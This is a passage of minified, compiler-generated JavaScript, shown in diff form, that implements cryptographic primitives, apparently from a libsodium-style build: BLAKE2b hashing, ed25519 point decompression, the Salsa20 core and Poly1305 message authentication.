s4[t7 + 75 | 0] = h5 >>> 24, s4[t7 + 76 | 0] = o5, s4[t7 + 77 | 0] = o5 >>> 8, s4[t7 + 78 | 0] = o5 >>> 16, s4[t7 + 79 | 0] = o5 >>> 24, c4[t7 + 356 | 0] && (s4[t7 + 88 | 0] = 255, s4[t7 + 89 | 0] = 255, s4[t7 + 90 | 0] = 255, s4[t7 + 91 | 0] = 255, s4[t7 + 92 | 0] = 255, s4[t7 + 93 | 0] = 255, s4[t7 + 94 | 0] = 255, s4[t7 + 95 | 0] = 255), s4[t7 + 80 | 0] = 255, s4[t7 + 81 | 0] = 255, s4[t7 + 82 | 0] = 255, s4[t7 + 83 | 0] = 255, s4[t7 + 84 | 0] = 255, s4[t7 + 85 | 0] = 255, s4[t7 + 86 | 0] = 255, s4[t7 + 87 | 0] = 255, xt2((A8 = t7 + 96 | 0) + g5 | 0, 0, 256 - g5 | 0), C4(t7, A8), o5 = c4[t7 + 4 | 0] | c4[t7 + 5 | 0] << 8 | c4[t7 + 6 | 0] << 16 | c4[t7 + 7 | 0] << 24, a4[n9 >> 2] = c4[0 | t7] | c4[t7 + 1 | 0] << 8 | c4[t7 + 2 | 0] << 16 | c4[t7 + 3 | 0] << 24, a4[n9 + 4 >> 2] = o5, o5 = c4[t7 + 12 | 0] | c4[t7 + 13 | 0] << 8 | c4[t7 + 14 | 0] << 16 | c4[t7 + 15 | 0] << 24, a4[n9 + 8 >> 2] = c4[t7 + 8 | 0] | c4[t7 + 9 | 0] << 8 | c4[t7 + 10 | 0] << 16 | c4[t7 + 11 | 0] << 24, a4[n9 + 12 >> 2] = o5, o5 = c4[t7 + 20 | 0] | c4[t7 + 21 | 0] << 8 | c4[t7 + 22 | 0] << 16 | c4[t7 + 23 | 0] << 24, a4[n9 + 16 >> 2] = c4[t7 + 16 | 0] | c4[t7 + 17 | 0] << 8 | c4[t7 + 18 | 0] << 16 | c4[t7 + 19 | 0] << 24, a4[n9 + 20 >> 2] = o5, o5 = c4[t7 + 28 | 0] | c4[t7 + 29 | 0] << 8 | c4[t7 + 30 | 0] << 16 | c4[t7 + 31 | 0] << 24, a4[n9 + 24 >> 2] = c4[t7 + 24 | 0] | c4[t7 + 25 | 0] << 8 | c4[t7 + 26 | 0] << 16 | c4[t7 + 27 | 0] << 24, a4[n9 + 28 >> 2] = o5, o5 = c4[t7 + 36 | 0] | c4[t7 + 37 | 0] << 8 | c4[t7 + 38 | 0] << 16 | c4[t7 + 39 | 0] << 24, a4[n9 + 32 >> 2] = c4[t7 + 32 | 0] | c4[t7 + 33 | 0] << 8 | c4[t7 + 34 | 0] << 16 | c4[t7 + 35 | 0] << 24, a4[n9 + 36 >> 2] = o5, o5 = c4[t7 + 44 | 0] | c4[t7 + 45 | 0] << 8 | c4[t7 + 46 | 0] << 16 | c4[t7 + 47 | 0] << 24, a4[n9 + 40 >> 2] = c4[t7 + 40 | 0] | c4[t7 + 41 | 0] << 8 | c4[t7 + 42 | 0] << 16 | c4[t7 + 43 | 0] << 24, a4[n9 + 44 >> 2] = o5, o5 = c4[t7 + 52 | 0] | c4[t7 + 53 | 0] << 8 | c4[t7 + 54 | 0] << 16 | c4[t7 + 55 | 0] << 24, a4[n9 + 48 >> 2] = c4[t7 + 48 | 0] | c4[t7 + 49 | 0] << 8 | c4[t7 + 50 | 0] << 16 | c4[t7 + 51 | 0] << 24, a4[n9 + 52 >> 2] = o5, o5 = c4[t7 + 60 | 0] | c4[t7 + 61 | 0] << 8 | c4[t7 + 62 | 0] << 16 | c4[t7 + 63 | 0] << 24, a4[n9 + 56 >> 2] = c4[t7 + 56 | 0] | c4[t7 + 57 | 0] << 8 | c4[t7 + 58 | 0] << 16 | c4[t7 + 59 | 0] << 24, a4[n9 + 60 >> 2] = o5, Mt2(e6, n9, r11), oe2(t7, 64), oe2(A8, 256), A8 = 0; - } - return I4 = n9 - -64 | 0, A8; - } - Kt2(), i3(); - } - f4(1280, 1142, 306, 1086), i3(); - } - function N5(t7, e6) { - var r11, n9, A8, i4, o5, h5, g5, u5, l5, f5, p5, d5, y5, C5, m5, B5, E5 = 0, w5 = 0, _5 = 0, Q5 = 0, k5 = 0, D5 = 0, S5 = 0; - for (I4 = r11 = I4 - 320 | 0, U4(n9 = t7 + 40 | 0, e6), a4[t7 + 84 >> 2] = 0, a4[t7 + 88 >> 2] = 0, a4[t7 + 80 >> 2] = 1, a4[t7 + 92 >> 2] = 0, a4[t7 + 96 >> 2] = 0, a4[t7 + 100 >> 2] = 0, a4[t7 + 104 >> 2] = 0, a4[t7 + 108 >> 2] = 0, a4[t7 + 112 >> 2] = 0, a4[t7 + 116 >> 2] = 0, b4(D5 = r11 + 240 | 0, n9), v4(Q5 = r11 + 192 | 0, D5, 1344), S5 = -1, A8 = a4[r11 + 240 >> 2] - 1 | 0, a4[r11 + 240 >> 2] = A8, a4[r11 + 192 >> 2] = a4[r11 + 192 >> 2] + 1, i4 = a4[r11 + 244 >> 2], o5 = a4[r11 + 248 >> 2], h5 = a4[r11 + 252 >> 2], g5 = a4[r11 + 256 >> 2], u5 = a4[r11 + 260 >> 2], l5 = a4[r11 + 264 >> 2], f5 = a4[r11 + 268 >> 2], p5 = a4[r11 + 272 >> 2], d5 = a4[r11 + 276 >> 2], b4(k5 = r11 + 144 | 0, Q5), v4(k5, k5, Q5), b4(t7, k5), v4(t7, t7, Q5), v4(t7, t7, D5), I4 = w5 = I4 - 144 | 0, b4(_5 = w5 + 96 | 0, t7), b4(E5 = w5 + 48 | 0, _5), b4(E5, E5), v4(E5, t7, E5), v4(_5, _5, E5), b4(_5, _5), v4(_5, E5, _5), b4(E5, _5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), v4(_5, E5, _5), b4(E5, _5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), v4(E5, E5, _5), b4(w5, E5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), b4(w5, w5), v4(E5, w5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), v4(_5, E5, _5), b4(E5, _5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), v4(E5, E5, _5), b4(w5, E5), E5 = 1; b4(w5, w5), 100 != (0 | (E5 = E5 + 1 | 0)); ) - ; - v4(E5 = w5 + 48 | 0, w5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), b4(E5, E5), v4(_5 = w5 + 96 | 0, E5, _5), b4(_5, _5), b4(_5, _5), v4(t7, _5, t7), I4 = w5 + 144 | 0, v4(t7, t7, k5), v4(t7, t7, D5), b4(E5 = r11 + 96 | 0, t7), v4(E5, E5, Q5), E5 = a4[r11 + 132 >> 2], a4[r11 + 84 >> 2] = E5 - d5, w5 = a4[r11 + 128 >> 2], a4[r11 + 80 >> 2] = w5 - p5, _5 = a4[r11 + 124 >> 2], a4[r11 + 76 >> 2] = _5 - f5, Q5 = a4[r11 + 120 >> 2], a4[r11 + 72 >> 2] = Q5 - l5, k5 = a4[r11 + 116 >> 2], a4[r11 + 68 >> 2] = k5 - u5, D5 = a4[r11 + 112 >> 2], a4[r11 + 64 >> 2] = D5 - g5, y5 = a4[r11 + 108 >> 2], a4[r11 + 60 >> 2] = y5 - h5, C5 = a4[r11 + 104 >> 2], a4[r11 + 56 >> 2] = C5 - o5, m5 = a4[r11 + 100 >> 2], a4[r11 + 52 >> 2] = m5 - i4, B5 = a4[r11 + 96 >> 2], a4[r11 + 48 >> 2] = B5 - A8, et2(r11, r11 + 48 | 0); - t: { - if (!ht2(r11, 32)) { - if (a4[r11 + 36 >> 2] = E5 + d5, a4[r11 + 32 >> 2] = w5 + p5, a4[r11 + 28 >> 2] = _5 + f5, a4[r11 + 24 >> 2] = Q5 + l5, a4[r11 + 20 >> 2] = k5 + u5, a4[r11 + 16 >> 2] = D5 + g5, a4[r11 + 12 >> 2] = h5 + y5, a4[r11 + 8 >> 2] = o5 + C5, a4[r11 + 4 >> 2] = i4 + m5, a4[r11 >> 2] = A8 + B5, et2(E5 = r11 + 288 | 0, r11), !ht2(E5, 32)) - break t; - v4(t7, t7, 1392); - } - et2(r11 + 288 | 0, t7), (1 & s4[r11 + 288 | 0]) == (c4[e6 + 31 | 0] >>> 7 | 0) && (a4[t7 >> 2] = 0 - a4[t7 >> 2], a4[t7 + 36 >> 2] = 0 - a4[t7 + 36 >> 2], a4[t7 + 32 >> 2] = 0 - a4[t7 + 32 >> 2], a4[t7 + 28 >> 2] = 0 - a4[t7 + 28 >> 2], a4[t7 + 24 >> 2] = 0 - a4[t7 + 24 >> 2], a4[t7 + 20 >> 2] = 0 - a4[t7 + 20 >> 2], a4[t7 + 16 >> 2] = 0 - a4[t7 + 16 >> 2], a4[t7 + 12 >> 2] = 0 - a4[t7 + 12 >> 2], a4[t7 + 8 >> 2] = 0 - a4[t7 + 8 >> 2], a4[t7 + 4 >> 2] = 0 - a4[t7 + 4 >> 2]), v4(t7 + 120 | 0, t7, n9), S5 = 0; - } - return I4 = r11 + 320 | 0, S5; - } - function M4(t7, e6, r11) { - var n9, A8, i4, o5, a5, h5, g5, u5, l5, f5, p5, d5, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0, P5 = 0, T3 = 0; - for (B5 = 1634760805, y5 = n9 = c4[0 | r11] | c4[r11 + 1 | 0] << 8 | c4[r11 + 2 | 0] << 16 | c4[r11 + 3 | 0] << 24, E5 = A8 = c4[r11 + 4 | 0] | c4[r11 + 5 | 0] << 8 | c4[r11 + 6 | 0] << 16 | c4[r11 + 7 | 0] << 24, w5 = i4 = c4[r11 + 8 | 0] | c4[r11 + 9 | 0] << 8 | c4[r11 + 10 | 0] << 16 | c4[r11 + 11 | 0] << 24, v5 = o5 = c4[r11 + 12 | 0] | c4[r11 + 13 | 0] << 8 | c4[r11 + 14 | 0] << 16 | c4[r11 + 15 | 0] << 24, k5 = 857760878, _5 = a5 = c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24, C5 = h5 = c4[e6 + 4 | 0] | c4[e6 + 5 | 0] << 8 | c4[e6 + 6 | 0] << 16 | c4[e6 + 7 | 0] << 24, b5 = g5 = c4[e6 + 8 | 0] | c4[e6 + 9 | 0] << 8 | c4[e6 + 10 | 0] << 16 | c4[e6 + 11 | 0] << 24, S5 = u5 = c4[e6 + 12 | 0] | c4[e6 + 13 | 0] << 8 | c4[e6 + 14 | 0] << 16 | c4[e6 + 15 | 0] << 24, e6 = 2036477234, m5 = l5 = c4[r11 + 16 | 0] | c4[r11 + 17 | 0] << 8 | c4[r11 + 18 | 0] << 16 | c4[r11 + 19 | 0] << 24, I5 = 1797285236, N6 = f5 = c4[r11 + 28 | 0] | c4[r11 + 29 | 0] << 8 | c4[r11 + 30 | 0] << 16 | c4[r11 + 31 | 0] << 24, D5 = p5 = c4[r11 + 24 | 0] | c4[r11 + 25 | 0] << 8 | c4[r11 + 26 | 0] << 16 | c4[r11 + 27 | 0] << 24, r11 = d5 = c4[r11 + 20 | 0] | c4[r11 + 21 | 0] << 8 | c4[r11 + 22 | 0] << 16 | c4[r11 + 23 | 0] << 24; Q5 = Gt2(y5 + k5 | 0, 7) ^ S5, M5 = Gt2(Q5 + k5 | 0, 9) ^ D5, v5 = Gt2(r11 + B5 | 0, 7) ^ v5, x5 = Gt2(v5 + B5 | 0, 9) ^ b5, P5 = Gt2(x5 + v5 | 0, 13) ^ r11, w5 = Gt2(I5 + m5 | 0, 7) ^ w5, F5 = Gt2(w5 + I5 | 0, 9) ^ C5, b5 = Gt2(w5 + F5 | 0, 13) ^ m5, m5 = Gt2(F5 + b5 | 0, 18) ^ I5, C5 = Gt2(e6 + _5 | 0, 7) ^ N6, r11 = P5 ^ Gt2(m5 + C5 | 0, 7), D5 = M5 ^ Gt2(r11 + m5 | 0, 9), N6 = Gt2(r11 + D5 | 0, 13) ^ C5, I5 = Gt2(D5 + N6 | 0, 18) ^ m5, E5 = Gt2(e6 + C5 | 0, 9) ^ E5, _5 = Gt2(E5 + C5 | 0, 13) ^ _5, e6 = Gt2(_5 + E5 | 0, 18) ^ e6, m5 = Gt2(e6 + Q5 | 0, 7) ^ b5, b5 = Gt2(m5 + e6 | 0, 9) ^ x5, S5 = Gt2(m5 + b5 | 0, 13) ^ Q5, e6 = Gt2(b5 + S5 | 0, 18) ^ e6, Q5 = Gt2(Q5 + M5 | 0, 13) ^ y5, y5 = Gt2(Q5 + M5 | 0, 18) ^ k5, _5 = Gt2(y5 + v5 | 0, 7) ^ _5, C5 = Gt2(_5 + y5 | 0, 9) ^ F5, v5 = Gt2(C5 + _5 | 0, 13) ^ v5, k5 = Gt2(C5 + v5 | 0, 18) ^ y5, B5 = Gt2(x5 + P5 | 0, 18) ^ B5, y5 = Gt2(B5 + w5 | 0, 7) ^ Q5, E5 = Gt2(y5 + B5 | 0, 9) ^ E5, w5 = Gt2(y5 + E5 | 0, 13) ^ w5, B5 = Gt2(E5 + w5 | 0, 18) ^ B5, Q5 = T3 >>> 0 < 18, T3 = T3 + 2 | 0, Q5; ) - ; - I5 = I5 + 1797285236 | 0, s4[t7 + 60 | 0] = I5, s4[t7 + 61 | 0] = I5 >>> 8, s4[t7 + 62 | 0] = I5 >>> 16, s4[t7 + 63 | 0] = I5 >>> 24, I5 = N6 + f5 | 0, s4[t7 + 56 | 0] = I5, s4[t7 + 57 | 0] = I5 >>> 8, s4[t7 + 58 | 0] = I5 >>> 16, s4[t7 + 59 | 0] = I5 >>> 24, I5 = D5 + p5 | 0, s4[t7 + 52 | 0] = I5, s4[t7 + 53 | 0] = I5 >>> 8, s4[t7 + 54 | 0] = I5 >>> 16, s4[t7 + 55 | 0] = I5 >>> 24, r11 = r11 + d5 | 0, s4[t7 + 48 | 0] = r11, s4[t7 + 49 | 0] = r11 >>> 8, s4[t7 + 50 | 0] = r11 >>> 16, s4[t7 + 51 | 0] = r11 >>> 24, r11 = m5 + l5 | 0, s4[t7 + 44 | 0] = r11, s4[t7 + 45 | 0] = r11 >>> 8, s4[t7 + 46 | 0] = r11 >>> 16, s4[t7 + 47 | 0] = r11 >>> 24, e6 = e6 + 2036477234 | 0, s4[t7 + 40 | 0] = e6, s4[t7 + 41 | 0] = e6 >>> 8, s4[t7 + 42 | 0] = e6 >>> 16, s4[t7 + 43 | 0] = e6 >>> 24, e6 = S5 + u5 | 0, s4[t7 + 36 | 0] = e6, s4[t7 + 37 | 0] = e6 >>> 8, s4[t7 + 38 | 0] = e6 >>> 16, s4[t7 + 39 | 0] = e6 >>> 24, e6 = b5 + g5 | 0, s4[t7 + 32 | 0] = e6, s4[t7 + 33 | 0] = e6 >>> 8, s4[t7 + 34 | 0] = e6 >>> 16, s4[t7 + 35 | 0] = e6 >>> 24, e6 = C5 + h5 | 0, s4[t7 + 28 | 0] = e6, s4[t7 + 29 | 0] = e6 >>> 8, s4[t7 + 30 | 0] = e6 >>> 16, s4[t7 + 31 | 0] = e6 >>> 24, e6 = _5 + a5 | 0, s4[t7 + 24 | 0] = e6, s4[t7 + 25 | 0] = e6 >>> 8, s4[t7 + 26 | 0] = e6 >>> 16, s4[t7 + 27 | 0] = e6 >>> 24, e6 = k5 + 857760878 | 0, s4[t7 + 20 | 0] = e6, s4[t7 + 21 | 0] = e6 >>> 8, s4[t7 + 22 | 0] = e6 >>> 16, s4[t7 + 23 | 0] = e6 >>> 24, e6 = v5 + o5 | 0, s4[t7 + 16 | 0] = e6, s4[t7 + 17 | 0] = e6 >>> 8, s4[t7 + 18 | 0] = e6 >>> 16, s4[t7 + 19 | 0] = e6 >>> 24, e6 = w5 + i4 | 0, s4[t7 + 12 | 0] = e6, s4[t7 + 13 | 0] = e6 >>> 8, s4[t7 + 14 | 0] = e6 >>> 16, s4[t7 + 15 | 0] = e6 >>> 24, e6 = E5 + A8 | 0, s4[t7 + 8 | 0] = e6, s4[t7 + 9 | 0] = e6 >>> 8, s4[t7 + 10 | 0] = e6 >>> 16, s4[t7 + 11 | 0] = e6 >>> 24, e6 = y5 + n9 | 0, s4[t7 + 4 | 0] = e6, s4[t7 + 5 | 0] = e6 >>> 8, s4[t7 + 6 | 0] = e6 >>> 16, s4[t7 + 7 | 0] = e6 >>> 24, e6 = B5 + 1634760805 | 0, s4[0 | t7] = e6, s4[t7 + 1 | 0] = e6 >>> 8, s4[t7 + 2 | 0] = e6 >>> 16, s4[t7 + 3 | 0] = e6 >>> 24; - } - function x4(t7, e6, r11, n9) { - var A8 = 0, i4 = 0, o5 = 0, s5 = 0, h5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0; - if (I5 = a4[t7 + 36 >> 2], p5 = a4[t7 + 32 >> 2], d5 = a4[t7 + 28 >> 2], l5 = a4[t7 + 24 >> 2], f5 = a4[t7 + 20 >> 2], !n9 & r11 >>> 0 >= 16 | n9) - for (k5 = !c4[t7 + 80 | 0] << 24, m5 = a4[t7 + 4 >> 2], D5 = g4(m5, 5), E5 = a4[t7 + 8 >> 2], Q5 = g4(E5, 5), v5 = a4[t7 + 12 >> 2], _5 = g4(v5, 5), b5 = a4[t7 + 16 >> 2], w5 = g4(b5, 5), B5 = a4[t7 >> 2]; A8 = Bt2(o5 = ((c4[e6 + 3 | 0] | c4[e6 + 4 | 0] << 8 | c4[e6 + 5 | 0] << 16 | c4[e6 + 6 | 0] << 24) >>> 2 & 67108863) + l5 | 0, 0, v5, 0), h5 = y4, f5 = (s5 = Bt2(l5 = (67108863 & (c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24)) + f5 | 0, 0, b5, 0)) + A8 | 0, A8 = y4 + h5 | 0, A8 = s5 >>> 0 > f5 >>> 0 ? A8 + 1 | 0 : A8, h5 = Bt2(d5 = ((c4[e6 + 6 | 0] | c4[e6 + 7 | 0] << 8 | c4[e6 + 8 | 0] << 16 | c4[e6 + 9 | 0] << 24) >>> 4 & 67108863) + d5 | 0, 0, E5, 0), A8 = y4 + A8 | 0, A8 = h5 >>> 0 > (f5 = h5 + f5 | 0) >>> 0 ? A8 + 1 | 0 : A8, h5 = Bt2(p5 = ((c4[e6 + 9 | 0] | c4[e6 + 10 | 0] << 8 | c4[e6 + 11 | 0] << 16 | c4[e6 + 12 | 0] << 24) >>> 6 | 0) + p5 | 0, 0, m5, 0), A8 = y4 + A8 | 0, A8 = h5 >>> 0 > (f5 = h5 + f5 | 0) >>> 0 ? A8 + 1 | 0 : A8, h5 = Bt2(I5 = I5 + k5 + ((c4[e6 + 12 | 0] | c4[e6 + 13 | 0] << 8 | c4[e6 + 14 | 0] << 16 | c4[e6 + 15 | 0] << 24) >>> 8) | 0, 0, B5, 0), A8 = y4 + A8 | 0, S5 = f5 = h5 + f5 | 0, f5 = h5 >>> 0 > f5 >>> 0 ? A8 + 1 | 0 : A8, A8 = Bt2(o5, 0, E5, 0), h5 = y4, s5 = Bt2(l5, 0, v5, 0), i4 = y4 + h5 | 0, i4 = (A8 = s5 + A8 | 0) >>> 0 < s5 >>> 0 ? i4 + 1 | 0 : i4, h5 = (s5 = Bt2(d5, 0, m5, 0)) + A8 | 0, A8 = y4 + i4 | 0, A8 = s5 >>> 0 > h5 >>> 0 ? A8 + 1 | 0 : A8, s5 = Bt2(p5, 0, B5, 0), A8 = y4 + A8 | 0, A8 = s5 >>> 0 > (h5 = s5 + h5 | 0) >>> 0 ? A8 + 1 | 0 : A8, s5 = Bt2(I5, 0, w5, 0), A8 = y4 + A8 | 0, N6 = h5 = s5 + h5 | 0, h5 = s5 >>> 0 > h5 >>> 0 ? A8 + 1 | 0 : A8, A8 = Bt2(o5, 0, m5, 0), u5 = y4, s5 = (i4 = Bt2(l5, 0, E5, 0)) + A8 | 0, A8 = y4 + u5 | 0, A8 = i4 >>> 0 > s5 >>> 0 ? A8 + 1 | 0 : A8, u5 = Bt2(d5, 0, B5, 0), i4 = y4 + A8 | 0, i4 = (s5 = u5 + s5 | 0) >>> 0 < u5 >>> 0 ? i4 + 1 | 0 : i4, u5 = Bt2(p5, 0, w5, 0), A8 = y4 + i4 | 0, A8 = (s5 = u5 + s5 | 0) >>> 0 < u5 >>> 0 ? A8 + 1 | 0 : A8, u5 = Bt2(I5, 0, _5, 0), A8 = y4 + A8 | 0, M5 = s5 = u5 + s5 | 0, s5 = s5 >>> 0 < u5 >>> 0 ? A8 + 1 | 0 : A8, A8 = Bt2(o5, 0, B5, 0), i4 = y4, u5 = (C5 = Bt2(l5, 0, m5, 0)) + A8 | 0, A8 = y4 + i4 | 0, A8 = u5 >>> 0 < C5 >>> 0 ? A8 + 1 | 0 : A8, i4 = Bt2(d5, 0, w5, 0), A8 = y4 + A8 | 0, A8 = i4 >>> 0 > (u5 = i4 + u5 | 0) >>> 0 ? A8 + 1 | 0 : A8, C5 = Bt2(p5, 0, _5, 0), i4 = y4 + A8 | 0, i4 = (u5 = C5 + u5 | 0) >>> 0 < C5 >>> 0 ? i4 + 1 | 0 : i4, C5 = Bt2(I5, 0, Q5, 0), A8 = y4 + i4 | 0, A8 = (u5 = C5 + u5 | 0) >>> 0 < C5 >>> 0 ? A8 + 1 | 0 : A8, C5 = u5, u5 = A8, A8 = Bt2(o5, 0, w5, 0), i4 = y4, o5 = (l5 = Bt2(l5, 0, B5, 0)) + A8 | 0, A8 = y4 + i4 | 0, A8 = o5 >>> 0 < l5 >>> 0 ? A8 + 1 | 0 : A8, l5 = Bt2(d5, 0, _5, 0), A8 = y4 + A8 | 0, A8 = (o5 = l5 + o5 | 0) >>> 0 < l5 >>> 0 ? A8 + 1 | 0 : A8, l5 = Bt2(p5, 0, Q5, 0), A8 = y4 + A8 | 0, A8 = (o5 = l5 + o5 | 0) >>> 0 < l5 >>> 0 ? A8 + 1 | 0 : A8, l5 = Bt2(I5, 0, D5, 0), i4 = y4 + A8 | 0, i4 = (o5 = l5 + o5 | 0) >>> 0 < l5 >>> 0 ? i4 + 1 | 0 : i4, l5 = o5, A8 = u5, A8 = (o5 = (d5 = (67108863 & i4) << 6 | o5 >>> 26) + C5 | 0) >>> 0 < d5 >>> 0 ? A8 + 1 | 0 : A8, d5 = o5, p5 = (67108863 & A8) << 6 | o5 >>> 26, A8 = s5, A8 = (o5 = p5 + M5 | 0) >>> 0 < p5 >>> 0 ? A8 + 1 | 0 : A8, p5 = o5, i4 = h5, I5 = A8 = (o5 = (67108863 & A8) << 6 | o5 >>> 26) + N6 | 0, h5 = (67108863 & (i4 = A8 >>> 0 < o5 >>> 0 ? i4 + 1 | 0 : i4)) << 6 | A8 >>> 26, A8 = f5, l5 = (67108863 & d5) + ((A8 = g4((67108863 & ((o5 = h5 + S5 | 0) >>> 0 < h5 >>> 0 ? A8 + 1 : A8)) << 6 | o5 >>> 26, 5) + (67108863 & l5) | 0) >>> 26 | 0) | 0, d5 = 67108863 & p5, p5 = 67108863 & I5, I5 = 67108863 & o5, f5 = 67108863 & A8, e6 = e6 + 16 | 0, !(n9 = n9 - (r11 >>> 0 < 16) | 0) & (r11 = r11 - 16 | 0) >>> 0 > 15 | n9; ) - ; - a4[t7 + 20 >> 2] = f5, a4[t7 + 36 >> 2] = I5, a4[t7 + 32 >> 2] = p5, a4[t7 + 28 >> 2] = d5, a4[t7 + 24 >> 2] = l5; - } - function F4(t7, e6, r11, n9) { - t7 |= 0, e6 |= 0; - var A8 = 0; - return A8 = -1, (n9 |= 0) - 65 >>> 0 < 4294967232 | (r11 |= 0) >>> 0 > 64 || (r11 && e6 ? (I4 = A8 = I4 - 128 | 0, !e6 | ((n9 &= 255) - 65 & 255) >>> 0 <= 191 | ((r11 &= 255) - 65 & 255) >>> 0 <= 191 ? (Kt2(), i3()) : (xt2(t7 - -64 | 0, 0, 293), s4[t7 + 56 | 0] = 121, s4[t7 + 57 | 0] = 33, s4[t7 + 58 | 0] = 126, s4[t7 + 59 | 0] = 19, s4[t7 + 60 | 0] = 25, s4[t7 + 61 | 0] = 205, s4[t7 + 62 | 0] = 224, s4[t7 + 63 | 0] = 91, s4[t7 + 48 | 0] = 107, s4[t7 + 49 | 0] = 189, s4[t7 + 50 | 0] = 65, s4[t7 + 51 | 0] = 251, s4[t7 + 52 | 0] = 171, s4[t7 + 53 | 0] = 217, s4[t7 + 54 | 0] = 131, s4[t7 + 55 | 0] = 31, s4[t7 + 40 | 0] = 31, s4[t7 + 41 | 0] = 108, s4[t7 + 42 | 0] = 62, s4[t7 + 43 | 0] = 43, s4[t7 + 44 | 0] = 140, s4[t7 + 45 | 0] = 104, s4[t7 + 46 | 0] = 5, s4[t7 + 47 | 0] = 155, s4[t7 + 32 | 0] = 209, s4[t7 + 33 | 0] = 130, s4[t7 + 34 | 0] = 230, s4[t7 + 35 | 0] = 173, s4[t7 + 36 | 0] = 127, s4[t7 + 37 | 0] = 82, s4[t7 + 38 | 0] = 14, s4[t7 + 39 | 0] = 81, s4[t7 + 24 | 0] = 241, s4[t7 + 25 | 0] = 54, s4[t7 + 26 | 0] = 29, s4[t7 + 27 | 0] = 95, s4[t7 + 28 | 0] = 58, s4[t7 + 29 | 0] = 245, s4[t7 + 30 | 0] = 79, s4[t7 + 31 | 0] = 165, s4[t7 + 16 | 0] = 43, s4[t7 + 17 | 0] = 248, s4[t7 + 18 | 0] = 148, s4[t7 + 19 | 0] = 254, s4[t7 + 20 | 0] = 114, s4[t7 + 21 | 0] = 243, s4[t7 + 22 | 0] = 110, s4[t7 + 23 | 0] = 60, s4[t7 + 8 | 0] = 59, s4[t7 + 9 | 0] = 167, s4[t7 + 10 | 0] = 202, s4[t7 + 11 | 0] = 132, s4[t7 + 12 | 0] = 133, s4[t7 + 13 | 0] = 174, s4[t7 + 14 | 0] = 103, s4[t7 + 15 | 0] = 187, n9 = -222443256 ^ (r11 << 8 | n9), s4[0 | t7] = n9, s4[t7 + 1 | 0] = n9 >>> 8, s4[t7 + 2 | 0] = n9 >>> 16, s4[t7 + 3 | 0] = n9 >>> 24, n9 = r11 >>> 24 ^ 1779033703, s4[t7 + 4 | 0] = n9, s4[t7 + 5 | 0] = n9 >>> 8, s4[t7 + 6 | 0] = n9 >>> 16, s4[t7 + 7 | 0] = n9 >>> 24, xt2(r11 + A8 | 0, 0, r11 << 24 >> 24 >= 0 ? 128 - r11 | 0 : 0), r11 = Mt2(A8, e6, r11), Mt2(t7 + 96 | 0, r11, 128), e6 = 128 + (c4[t7 + 352 | 0] | c4[t7 + 353 | 0] << 8 | c4[t7 + 354 | 0] << 16 | c4[t7 + 355 | 0] << 24) | 0, s4[t7 + 352 | 0] = e6, s4[t7 + 353 | 0] = e6 >>> 8, s4[t7 + 354 | 0] = e6 >>> 16, s4[t7 + 355 | 0] = e6 >>> 24, oe2(r11, 128), I4 = r11 + 128 | 0)) : (((e6 = 255 & n9) - 65 & 255) >>> 0 <= 191 && (Kt2(), i3()), xt2(t7 - -64 | 0, 0, 293), s4[t7 + 56 | 0] = 121, s4[t7 + 57 | 0] = 33, s4[t7 + 58 | 0] = 126, s4[t7 + 59 | 0] = 19, s4[t7 + 60 | 0] = 25, s4[t7 + 61 | 0] = 205, s4[t7 + 62 | 0] = 224, s4[t7 + 63 | 0] = 91, s4[t7 + 48 | 